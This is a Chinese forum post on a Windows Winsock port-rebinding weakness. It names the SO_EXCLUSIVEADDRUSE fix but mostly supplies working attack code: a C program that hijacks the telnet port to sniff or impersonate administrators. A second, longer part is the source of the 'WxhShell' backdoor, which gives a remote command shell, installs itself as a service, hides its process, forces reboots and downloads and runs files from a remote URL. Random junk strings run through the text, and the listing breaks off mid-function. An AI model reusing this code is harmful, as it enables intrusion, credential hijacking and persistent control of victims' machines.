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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qu?R8+"KS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _}lZ,L(w  
-]/I73!b  
  saddr.sin_family = AF_INET; C'\- @/  
k1w_[w [  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6& e3Nt  
i2E )P x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >7lx=T x  
60P#,o@G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0b+Wc43}K  
Jj!vh{  
  这意味着什么?意味着可以进行如下的攻击: (G zb  
"6MVvpy"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QdT}wkX  
z>58dA@f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N60rgSzI  
@e(o129  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +giyX7BPJ  
{@6= Q 6L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :o0JY= 5  
;&< {ey  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "+kL )]  
fkuLj%R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ii[F]sR\  
qkt0**\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 = s>T;|  
Vq2y4D?  
  #include .a O,8M  
  #include u$DHVRrF<  
  #include Wvbf"hq  
  #include    kpJ@M%46  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UtPLI al  
  int main() !}YAdZJ  
  { %`>nS@1zp  
  WORD wVersionRequested; ?I6fye7  
  DWORD ret; ?k]2*}bz  
  WSADATA wsaData; >zw.GwN|  
  BOOL val; q*U*Fu+  
  SOCKADDR_IN saddr; $Z.7zH  
  SOCKADDR_IN scaddr; @Z*W  
  int err; Dd'm U  
  SOCKET s; pWy=W&0~qf  
  SOCKET sc; YLqGRE`W  
  int caddsize; $bW3_rl%X  
  HANDLE mt; L^E[J`  
  DWORD tid;   Z,sv9{4r  
  wVersionRequested = MAKEWORD( 2, 2 ); -}nxJH)  
  err = WSAStartup( wVersionRequested, &wsaData ); VCY\be  
  if ( err != 0 ) { 13=A  
  printf("error!WSAStartup failed!\n"); %-)H^i~]%  
  return -1; )2Wi `ZT  
  } 7|{}\w(I  
  saddr.sin_family = AF_INET; ;nep5!s;<  
   "fG8?)d;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n!YKz"$  
hBS.a6u1'd  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f%SZg!+t  
  saddr.sin_port = htons(23); [b 6R%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1pt%Kw*@j  
  { _wTOmz%|R  
  printf("error!socket failed!\n"); sPr~=,F  
  return -1; m_.>C  
  } PH1p2Je  
  val = TRUE; -8; 7Sp1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JSkLEa~<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K~c=M",mW  
  {  O{QA  
  printf("error!setsockopt failed!\n"); d;zai]]  
  return -1; `P@T$bC  
  } #bUXgn>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YM1'L\^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =y [M\m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "U e. @>  
K~AR*1??[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5*+!+V^?X  
  { (zgW%{V@  
  ret=GetLastError(); 0xxg|;h.,g  
  printf("error!bind failed!\n"); d6'{rje(  
  return -1; c9HrMgW  
  } n!NS(. o  
  listen(s,2); tXoWwQD;Y  
  while(1) q;R],7Re  
  { @JtM5qB  
  caddsize = sizeof(scaddr); J#w J4!  
  //接受连接请求 }T; P~aG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Tu$f?  
  if(sc!=INVALID_SOCKET) WlB  
  { dYG,_ji  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v'U{/ ,x  
  if(mt==NULL) % 5m/  
  { qAAX;N  
  printf("Thread Creat Failed!\n"); z>XrU>}  
  break; Xnz3p"  
  } ?j40} B]]d  
  } oI=fx Sjd  
  CloseHandle(mt); ukIQr/k  
  } o^^rJk  
  closesocket(s); GR +[UG  
  WSACleanup(); z2MWN\?8  
  return 0; eFaO7mz5V%  
  }   "]"|"0#i  
  DWORD WINAPI ClientThread(LPVOID lpParam) |bq$xp  
  { v9:9E|,U+  
  SOCKET ss = (SOCKET)lpParam; le1}0 L  
  SOCKET sc; 2[Z,J%:0  
  unsigned char buf[4096]; Hw7;;HK 7  
  SOCKADDR_IN saddr; B P2=2)Q  
  long num; Ka[t75~;  
  DWORD val; QIB\AAclO  
  DWORD ret; uehDIl0\[b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I/&%]"[^u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E8pB;\Z(  
  saddr.sin_family = AF_INET; :K-~fA%kt?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  Q?nN!e T  
  saddr.sin_port = htons(23); U* i{5/$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;*Ivn@L  
  { oE+R3[D?r  
  printf("error!socket failed!\n"); 2^y ^q2(r  
  return -1; <}E!w_yi  
  } pnjXf.g"O  
  val = 100; 4(|cG7>9-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ba[1wFmcL  
  { qHuZcht  
  ret = GetLastError(); v-#Q7T  
  return -1; #pb92kA'  
  } e4!:c^?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X'd9[).  
  { )\eI;8  
  ret = GetLastError(); %+j8["VEC  
  return -1; LW[9  
  } m;'6MHx;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ()5[x.xK@  
  { X;i~ <Tq  
  printf("error!socket connect failed!\n"); EH256f(&  
  closesocket(sc); gu0j.XS^  
  closesocket(ss); \9cG36  
  return -1; [3(7  4  
  } + Af"f' )  
  while(1) [U5\bX@$  
  { kS_(wp A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `Gn50-@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s$cK(S#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b6U2GDm\s  
  num = recv(ss,buf,4096,0); Y&S24aql  
  if(num>0) .@(6Y<dN  
  send(sc,buf,num,0); q=%RDG+  
  else if(num==0) 9;r)#3Q[^  
  break; [P&7i57  
  num = recv(sc,buf,4096,0); mS^tX i5hg  
  if(num>0) KVT-P};jy*  
  send(ss,buf,num,0); A/u)# ^\  
  else if(num==0) zG ^$"f2  
  break; P(H8[,  
  } PcA2/!a  
  closesocket(ss); *~t6(v?  
  closesocket(sc); v.pBX<  
  return 0 ; tn Pv70m  
  } j6Yy6X]  
K POa|$  
SZ,YS 4M  
========================================================== |y0(Q V  
CDP U\ZG  
下边附上一个代码,,WXhSHELL ^>i63Yc  
%kS(LlL+6  
========================================================== +89*)pk   
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#include "stdafx.h" | N[<x@  
t5y;CxL  
#include <stdio.h> NWMFtT  
#include <string.h> \.-}adKg  
#include <windows.h> %p2Sh)@M  
#include <winsock2.h> 3BtaH#ZY  
#include <winsvc.h> )iYxt:(,  
#include <urlmon.h> /H8g(  
H."EUcE{  
#pragma comment (lib, "Ws2_32.lib") d-k%{eBV  
#pragma comment (lib, "urlmon.lib") {]:7bV#JP  
1][4.}?F[  
#define MAX_USER   100 // 最大客户端连接数 !HnXXVW  
#define BUF_SOCK   200 // sock buffer nQ5n-A&["  
#define KEY_BUFF   255 // 输入 buffer A-ZN F4  
Bj1?x  
#define REBOOT     0   // 重启 {]%0lf:  
#define SHUTDOWN   1   // 关机 \l9qt5rS  
Dey<OE&  
#define DEF_PORT   5000 // 监听端口 czS+< w  
S7/eS)SQR  
#define REG_LEN     16   // 注册表键长度 uTKD 4yig  
#define SVC_LEN     80   // NT服务名长度 2QJ{a46}  
dwDcR,z?a  
// 从dll定义API 2E}*v5b,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P_*" dza  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _V7r1fY:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X!9 B2w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #,":vr  
j$?{\iXZ  
// wxhshell配置信息 C -\S/yd  
struct WSCFG { AlAYiUw{  
  int ws_port;         // 监听端口 9 }PhN<Gd  
  char ws_passstr[REG_LEN]; // 口令 i*/Yz*<  
  int ws_autoins;       // 安装标记, 1=yes 0=no f;W|\z'  
  char ws_regname[REG_LEN]; // 注册表键名 7?GIS '  
  char ws_svcname[REG_LEN]; // 服务名 8B\2Zfe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^(f"v e#7v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .k%[4:Fe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?~hHGf\^b6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;[=8B \?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bq D'8zLD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rb%8)t x  
auK?](U  
}; 56zL"TF`  
 UA48Ug  
// default Wxhshell configuration B?'#4J  
struct WSCFG wscfg={DEF_PORT, =;2%a(  
    "xuhuanlingzhe", {L/tst#C  
    1, Y@N,qHtz  
    "Wxhshell", A v2 08}Y  
    "Wxhshell", "1 L$|  
            "WxhShell Service", G(p`1~xm  
    "Wrsky Windows CmdShell Service", ;"dV"W  
    "Please Input Your Password: ", ]G5 w6&d  
  1, h*w%jdQ6  
  "http://www.wrsky.com/wxhshell.exe",  %oZ6l*  
  "Wxhshell.exe" 925|bX6I  
    }; }BZ"S-hZ  
C71qPb|$R  
// 消息定义模块 E4|jOz^j4\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w5Ay)lz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l49*<nkmq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .Le?T&_  
char *msg_ws_ext="\n\rExit."; WtG~('g>&  
char *msg_ws_end="\n\rQuit."; GO` Ru 8  
char *msg_ws_boot="\n\rReboot..."; $\]&rZVi  
char *msg_ws_poff="\n\rShutdown..."; El.hu%#n*G  
char *msg_ws_down="\n\rSave to "; Ju96#v+:  
]rWgSID  
char *msg_ws_err="\n\rErr!"; S|7!{}  
char *msg_ws_ok="\n\rOK!"; zgNc4B  
zNxW'?0Z?  
char ExeFile[MAX_PATH]; '98VYCL  
int nUser = 0; kEOS{C%6R  
HANDLE handles[MAX_USER]; lij.N) E  
int OsIsNt; bdC8zDD  
T 6)bD&  
SERVICE_STATUS       serviceStatus; b{L/4bu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5nT"rA  
j bVECi-  
// 函数声明 iOU6V  
int Install(void); mz,  
int Uninstall(void); lQ" p !  
int DownloadFile(char *sURL, SOCKET wsh); gkES5Q  
int Boot(int flag); pEBM3r!X  
void HideProc(void); (tIo:j  
int GetOsVer(void); i;/5Y'KZ  
int Wxhshell(SOCKET wsl); xJ>fm%{5  
void TalkWithClient(void *cs); f&BY/ n,  
int CmdShell(SOCKET sock); Fl kcU `j  
int StartFromService(void); w<Wf?aG  
int StartWxhshell(LPSTR lpCmdLine); YG3J$_?y0  
'gC_)rK*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kCR_tn 4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o4m\~as)Y  
k5:G-BQ:  
// 数据结构和表定义 H*ow\ Ct  
SERVICE_TABLE_ENTRY DispatchTable[] = 'p> Ra/4  
{ mZSD(  
{wscfg.ws_svcname, NTServiceMain}, sf)EMh3Z  
{NULL, NULL} L ^q""[  
}; w80oXXs[#  
cq}EZ@ .  
// 自我安装 `Aw^H!  
int Install(void) Qw-~>d  
{ =]6%G7T  
  char svExeFile[MAX_PATH]; +x0!*3q  
  HKEY key; L^}_~PO N5  
  strcpy(svExeFile,ExeFile); iII=;:p  
)wC?T  
// 如果是win9x系统,修改注册表设为自启动 Q.l}NtHwV  
if(!OsIsNt) { uJzG|$;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @;*Ksy@1O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y$Z x,  
  RegCloseKey(key); a1C{(f)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c 0,0`+2~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pT=JP> nd^  
  RegCloseKey(key); NW]Lj >0Y  
  return 0; w,#>G07D  
    } em,u(#)&  
  } :r{<zd>;  
} D{GfL ib"U  
else { F*IzQ(#HW  
>AVVEv18  
// 如果是NT以上系统,安装为系统服务 vdAr|4^qB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #|L8tuWW  
if (schSCManager!=0) ,:%CB"J  
{ [pbo4e,4O  
  SC_HANDLE schService = CreateService RRmz"j>  
  ( -ws? "_w  
  schSCManager, #.rdQ,)<  
  wscfg.ws_svcname, 9IjIIM2y  
  wscfg.ws_svcdisp, yA)/Q Yge  
  SERVICE_ALL_ACCESS, |iakz|])  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ag9vU7  
  SERVICE_AUTO_START, |2O]R s  
  SERVICE_ERROR_NORMAL, .+PI}[g  
  svExeFile, u+Y\6~=+  
  NULL, z* ^_)Z  
  NULL, wH>a~C:  
  NULL, jyZ  (RB  
  NULL, aS{|uE]  
  NULL =bfJ^]R  
  ); B^4&-z2|  
  if (schService!=0) E{XH?_xo  
  { |XQIfW]A  
  CloseServiceHandle(schService); 3@kf@ Vf  
  CloseServiceHandle(schSCManager); ?qPo=~y01  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SheM|I~de  
  strcat(svExeFile,wscfg.ws_svcname); MqW7cjg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dq(uVW^&ae  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a zCf  
  RegCloseKey(key); \y97W&AN  
  return 0; |]jb& M  
    } J"!vu.[  
  } '~5LY!H(pT  
  CloseServiceHandle(schSCManager); x-$&g*<  
} MI/MhkS ?  
} 94h]~GqNi  
fz|cnU  
return 1; <^&ehy:7y  
} z06r6  
,)0H3t  
// 自我卸载 95ZyP!  
int Uninstall(void) ni.cTOSx  
{ 9]k @Q_  
  HKEY key; }JF13beU  
U;YC}r  
if(!OsIsNt) { [$mHv,~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {#ZlM  
  RegDeleteValue(key,wscfg.ws_regname); ]^yFaTfS  
  RegCloseKey(key); 8[a=OP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zwhe  
  RegDeleteValue(key,wscfg.ws_regname); 2M.fLQ?  
  RegCloseKey(key); Kz~ps 5  
  return 0; qraSRK5  
  } WffQ:L?  
} &-;4.op  
} p)`{Sos  
else { ASKf '\,dV  
;y,5k?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3k\#CiB{  
if (schSCManager!=0) `ZU($!(  
{ 6c}h(TkB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @@R7p  
  if (schService!=0) ,BH@j%Jmy  
  { BBaQ}{F8>2  
  if(DeleteService(schService)!=0) { *1 uKr9  
  CloseServiceHandle(schService); o*-)Tq8GHE  
  CloseServiceHandle(schSCManager); vmU@^2JSJ  
  return 0; vx1c,8  
  } '.on)Zd.  
  CloseServiceHandle(schService); Dt}JG6S  
  } B-xGX$<z  
  CloseServiceHandle(schSCManager); ZGBd%RWjG_  
} }u\])I3  
} $:8x(&+/@  
r /YMLQ  
return 1; bLB:MW\%  
} vUN22;Z\  
%P<hW+P!  
// 从指定url下载文件 {>}!+k -`  
int DownloadFile(char *sURL, SOCKET wsh) :y+2*lV  
{ ]s]vZ  
  HRESULT hr; N nRD|A  
char seps[]= "/"; eX?OYDDC0j  
char *token;  ]3x?  
char *file; \9cbI3rGz  
char myURL[MAX_PATH]; ERUz3mjA/  
char myFILE[MAX_PATH]; ]_Vx{oT7  
hW%TM3l}  
strcpy(myURL,sURL); ,`|3KE9  
  token=strtok(myURL,seps); y<?kzt  
  while(token!=NULL) LzG%Z1`  
  { Z~AO0zUKY  
    file=token; &TnS4O  
  token=strtok(NULL,seps); S*==aftl(  
  } rx'RSo#1O  
!`k1:@NZ  
GetCurrentDirectory(MAX_PATH,myFILE); - \ 5v^l  
strcat(myFILE, "\\"); O@tU.5*$5  
strcat(myFILE, file); RM]\+BK  
  send(wsh,myFILE,strlen(myFILE),0); fFMlDg[];  
send(wsh,"...",3,0); NokU) O;x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `[z<4"Os   
  if(hr==S_OK) @fHi\W2JG  
return 0; PxTwPl  
else u#Pa7_zBj]  
return 1; sr r :!5  
Vrjc~>X  
} *U^6u/iH  
viW!,QQ(S  
// 系统电源模块 ({ 8-*  
int Boot(int flag) US+Q~GTA  
{ .?D7dyU l1  
  HANDLE hToken; `n.5f[wC  
  TOKEN_PRIVILEGES tkp; Qk0R a_  
V3 9g,=`b%  
  if(OsIsNt) { Y#]+Tm (+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -j+UMlkB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4~ q5,^kgB  
    tkp.PrivilegeCount = 1; [^R^8k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gk. ruQW"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |!1Y*|Q%s  
if(flag==REBOOT) { ]S&&|Fc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i)o2klIkB  
  return 0; ED2a}Tt>Z  
} cW~}:;D4  
else { }'5MK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dWM'fg  
  return 0; bo,_&4?  
} szb_*)k  
  } i#&z2h-b  
  else { >] qc-{>&  
if(flag==REBOOT) { &)YQvTzs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O#n8=B4  
  return 0; Htay-PB }  
} ynmWW^dg  
else { <>n0arAn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >Y&N8PHD  
  return 0; wc0jhHZO ?  
} IrR7"`.i  
} V8 e>l[tH  
P]<4R:yb  
return 1; <m!h&_eg  
} tf =6\p  
!!qK=V|>  
// win9x进程隐藏模块 y>R=`A1b  
void HideProc(void) 4qN{n#{+]  
{ Rh3eLt~|(  
}elc `jj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~< P 0]ju  
  if ( hKernel != NULL ) d4m=0G`  
  { .0p0_f=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZWii)0'PV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t#yk ->,  
    FreeLibrary(hKernel); O1rvaOlr  
  } ~Xw"}S5  
-B>++r2A^  
return; 214Ml0/%  
} Zvhsyz|  
UN7EF/!Zz  
// 获取操作系统版本 !*/*8re  
int GetOsVer(void) Nw:GCf-L  
{ \Lq h j  
  OSVERSIONINFO winfo; Y}@&h!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g(nPQOs$u  
  GetVersionEx(&winfo); 9Q -HeXvR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8{Q<N%Jnu  
  return 1; E^Y#&skXp3  
  else IWBX'|}K  
  return 0; > pgX^  
} jy7\+i  
MtM%{=&_  
// 客户端句柄模块 pEw"8U  
int Wxhshell(SOCKET wsl) < 3(LWxw  
{ uvgdY  
  SOCKET wsh; h}-3\8 >  
  struct sockaddr_in client; BK*x] zG$  
  DWORD myID; vrl;"Fm+  
d[[]P X  
  while(nUser<MAX_USER) cD@(/$wt  
{ .=U#eHBdAQ  
  int nSize=sizeof(client); Pnw]Tm}g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zh4# A <e  
  if(wsh==INVALID_SOCKET) return 1; y@]_+2Vo  
wWgWWXGT}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9K/HO!z  
if(handles[nUser]==0) m2 -Sx  
  closesocket(wsh); =Xm@YVf&ZD  
else t4{rb, }W  
  nUser++; &6DMk-  
  } 1h(0IjG8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3E7ULK  
D@C-5rmq  
  return 0; :Y-{Kn6`_  
} }p=Jm)y  
,?PTcQF  
// 关闭 socket %el"BSB  
void CloseIt(SOCKET wsh) "BD~xP(  
{ %mL-$*  
closesocket(wsh); YTAmgkF\4  
nUser--; k")R[)92b?  
ExitThread(0); Z/Eb:  
} <wZQc  
=5aDM\L$&  
// 客户端请求句柄 so PLA68  
void TalkWithClient(void *cs) ( W a  
{ DvME 1]7)  
~0?mBy!-O  
  SOCKET wsh=(SOCKET)cs; Xsa2(-  
  char pwd[SVC_LEN]; aF8fqu\  
  char cmd[KEY_BUFF]; jNu9KlN  
char chr[1]; Yv hA_v  
int i,j; "b?v?V0%C  
e}mD]O}  
  while (nUser < MAX_USER) { K )[]fm  
"ZHW2l Mf  
if(wscfg.ws_passstr) { _\=`6`b)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gn&-X]Rrl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ok>gh2e[c  
  //ZeroMemory(pwd,KEY_BUFF); '"y|p+=j:  
      i=0; o5xAav"+>  
  while(i<SVC_LEN) { `))\}C@k  
H|,Oswk~-  
  // 设置超时  zG+R5:  
  fd_set FdRead; 4!$s}V=6  
  struct timeval TimeOut; za#s/b$[  
  FD_ZERO(&FdRead); "mX\&%i6\p  
  FD_SET(wsh,&FdRead); ~SQ?BoCI[  
  TimeOut.tv_sec=8; DQMHOd7g  
  TimeOut.tv_usec=0; cQG +$0(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?/TSi0R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rJFc({ 0  
qNI, 62  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )q 0.0<f  
  pwd=chr[0]; M@h|bN  
  if(chr[0]==0xd || chr[0]==0xa) { CQwL|$)]Y  
  pwd=0; G,TM-l_uw  
  break; FSUttg"  
  } qs|mj}?  
  i++; . 7zK@6i  
    } |M8WyW  
A"`foI$0  
  // 如果是非法用户,关闭 socket %cCs?ic  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =PUt&`1.a  
} j lp:lX  
 ~UyV<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }>)@WL:q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : k7uGD  
^BUYjq%(`  
while(1) { c;{Q,"9U  
yvgrIdEP  
  ZeroMemory(cmd,KEY_BUFF); )Y]{HQd  
UUF ;p2{f  
      // 自动支持客户端 telnet标准   ub7zA!%  
  j=0; 6UevpDB  
  while(j<KEY_BUFF) { df*5,NV'-*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iQ4);du  
  cmd[j]=chr[0]; H(2!1?N+  
  if(chr[0]==0xa || chr[0]==0xd) { ex+\nD>t4  
  cmd[j]=0; Wqc)Fv70m  
  break; _nD$b={g  
  } FvN<<&B  
  j++; {D!6%`HKV+  
    } Op"M.]#  
o8zy^zN$6  
  // 下载文件 \|]Z8t7  
  if(strstr(cmd,"http://")) { uMut=ja(U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DjI3?NN  
  if(DownloadFile(cmd,wsh)) \I["2C]3M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !1n8vzs"c  
  else hj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]BtbWKJBqe  
  } 6 }4'E  
  else { >RPd$('T  
ONx( ]  
    switch(cmd[0]) { BJgW,huLy  
  53c0 E  
  // 帮助 ?|WoIV.  
  case '?': { !iH-#B-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bKj%s@x  
    break; PlF87j (  
  } 8i|w(5m;  
  // 安装 |l&vkRrN  
  case 'i': { RG3l.jL  
    if(Install()) 3<k`+,'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u\LiSGePN  
    else fLDg~;3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TlI<1/fP}  
    break; fBgEnz/  
    } !_+8A/  
  // 卸载 8~90 30>Q  
  case 'r': { @ U kr  
    if(Uninstall()) <EPj$::  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F6o_b4l  
    else uHH/rMV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %7#-%{  
    break; KBXK0zWh7  
    } xY+VyOUs  
  // 显示 wxhshell 所在路径 XW -2~?$  
  case 'p': { X/z6"*(|/  
    char svExeFile[MAX_PATH]; s7g(3<(  
    strcpy(svExeFile,"\n\r"); /CuXa%Ci^  
      strcat(svExeFile,ExeFile); 1BAgtd$3  
        send(wsh,svExeFile,strlen(svExeFile),0); 1rKlZsZ#*  
    break; ymegr(9&K  
    } AZzuI*  
  // 重启 nl(WJKq'  
  case 'b': { }Ow>dV?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zq,9&y~  
    if(Boot(REBOOT)) 3uZJ.Fb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@#Y8M  
    else { ?."&MZ  
    closesocket(wsh); $U$V?x uE  
    ExitThread(0); |+35y_i6  
    } z\0 CE]#T  
    break; tp6M=MC%  
    } eh4gQ^l  
  // 关机 J 8M$k/"X  
  case 'd': { Zm"{Viv]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %honO@$  
    if(Boot(SHUTDOWN)) q(zJ%Gv)  
